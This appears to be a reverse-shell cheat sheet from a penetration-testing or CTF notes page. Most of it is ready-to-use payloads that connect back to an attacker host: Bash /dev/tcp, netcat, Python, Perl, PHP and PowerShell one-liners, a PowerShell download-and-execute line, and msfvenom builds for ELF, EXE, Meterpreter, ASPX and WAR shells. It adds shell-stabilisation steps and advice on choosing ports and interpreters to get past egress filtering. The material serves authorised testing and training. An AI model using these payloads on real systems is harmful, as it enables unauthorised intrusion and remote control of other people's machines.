Reverse shell
Table of Contents
The target connects back to the attacker, bypassing inbound firewall rules. The attacker listens on a port; the target executes a payload that opens a connection to that port and attaches a shell to it. Standard first step after any RCE.
Related: Webshell File Upload Vulnerabilities Netcat Msfvenom Pivoting Post Exploitation
1. Listener — Always Start First
# Basic netcat listener nc -lvnp 4444 # rlwrap for arrow keys and history (recommended) rlwrap nc -lvnp 4444
2. Linux Payloads
# Bash TCP — most reliable on Linux bash -i >& /dev/tcp/$ATTACKER/4444 0>&1 # URL-encoded (for webshell delivery via curl) bash+-c+'bash+-i+>%26+/dev/tcp/$ATTACKER/4444+0>%261' # Bash alternative if >& is filtered bash -i > /dev/tcp/$ATTACKER/4444 0<&1 2>&1 # Netcat with -e (if available) nc -e /bin/bash $ATTACKER 4444 # Netcat without -e (BusyBox / stripped nc) rm /tmp/f; mkfifo /tmp/f; cat /tmp/f | /bin/bash -i 2>&1 | nc $ATTACKER 4444 > /tmp/f # Python 3 python3 -c 'import socket,subprocess,os; s=socket.socket();s.connect(("$ATTACKER",4444)); os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2); subprocess.call(["/bin/bash","-i"])' # Python 2 python -c 'import socket,subprocess,os; s=socket.socket();s.connect(("$ATTACKER",4444)); os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2); subprocess.call(["/bin/sh","-i"])' # Perl perl -e 'use Socket;$i="$ATTACKER";$p=4444; socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp")); connect(S,sockaddr_in($p,inet_aton($i))); open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S"); exec("/bin/bash -i");' # PHP (useful directly in webshell context) php -r '$sock=fsockopen("$ATTACKER",4444); exec("/bin/bash -i <&3 >&3 2>&3");'
3. Windows Payloads
# PowerShell — most reliable on modern Windows powershell -NoP -NonI -W Hidden -Exec Bypass -c \ "$client = New-Object System.Net.Sockets.TCPClient('$ATTACKER',4444); $stream = $client.GetStream(); [byte[]]$bytes = 0..65535|%{0}; while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){ $data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0,$i); $sendback = (iex $data 2>&1 | Out-String); $sendback2 = $sendback + 'PS ' + (pwd).Path + '> '; $sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2); $stream.Write($sendbyte,0,$sendbyte.Length); $stream.Flush()};$client.Close()" # PowerShell one-liner — download and execute hosted script powershell -c "IEX(New-Object Net.WebClient).DownloadString('http://$ATTACKER/rev.ps1')" # Invoke-PowerShellTcp.ps1 (Nishang) — host and call # Add to end of file: Invoke-PowerShellTcp -Reverse -IPAddress $ATTACKER -Port 4444 # Netcat for Windows .\nc.exe -e cmd.exe $ATTACKER 4444
4. Msfvenom Payloads
# Linux ELF msfvenom -p linux/x64/shell_reverse_tcp LHOST=$ATTACKER LPORT=4444 -f elf -o shell.elf # Windows EXE msfvenom -p windows/x64/shell_reverse_tcp LHOST=$ATTACKER LPORT=4444 -f exe -o shell.exe # Windows Meterpreter msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=$ATTACKER LPORT=4444 -f exe -o meter.exe # ASPX (IIS) msfvenom -p windows/x64/shell_reverse_tcp LHOST=$ATTACKER LPORT=4444 -f aspx -o shell.aspx # PHP msfvenom -p php/reverse_php LHOST=$ATTACKER LPORT=4444 -f raw -o shell.php # WAR (Tomcat) msfvenom -p java/jsp_shell_reverse_tcp LHOST=$ATTACKER LPORT=4444 -f war -o shell.war
5. Shell Stabilisation
Raw reverse shells have no tab completion, no arrow keys, and
Ctrl+C kills the connection. Stabilise immediately.
Python PTY (Linux — most common)
# On target python3 -c 'import pty; pty.spawn("/bin/bash")' # Ctrl+Z to background stty raw -echo; fg # Press Enter twice export TERM=xterm
rlwrap (before connecting)
rlwrap nc -lvnp 4444 # Provides readline — arrows and history work without further steps
socat (full TTY — best result)
# Attacker — listen socat file:`tty`,raw,echo=0 tcp-listen:4444 # Target — connect socat exec:'bash -li',pty,stderr,setsid,sigint,sane tcp:$ATTACKER:4444
6. Common Ports to Use
Choose based on what egress is likely permitted:
| Port | Reason to use |
|---|---|
| 4444 | Default — fine for CTFs |
| 443 | HTTPS — rarely blocked outbound |
| 80 | HTTP — usually permitted |
| 53 | DNS — bypasses most egress filters |
| 8080 | Alternative HTTP — common in corp envs |
Tips
- Always start the listener before triggering the payload
- Use port 443 or 80 on restricted networks — outbound filtering rarely blocks these
- Stabilise the shell immediately — raw shells are fragile and
Ctrl+Cwill kill the session - If bash TCP is filtered, try Python or Perl — different interpreters often bypass different filters
- On Windows, PowerShell download-and-execute is more reliable
than inline one-liners — host
Invoke-PowerShellTcp.ps1and call it - revshells.com generates payloads for any language with your IP and port pre-filled — faster than typing from memory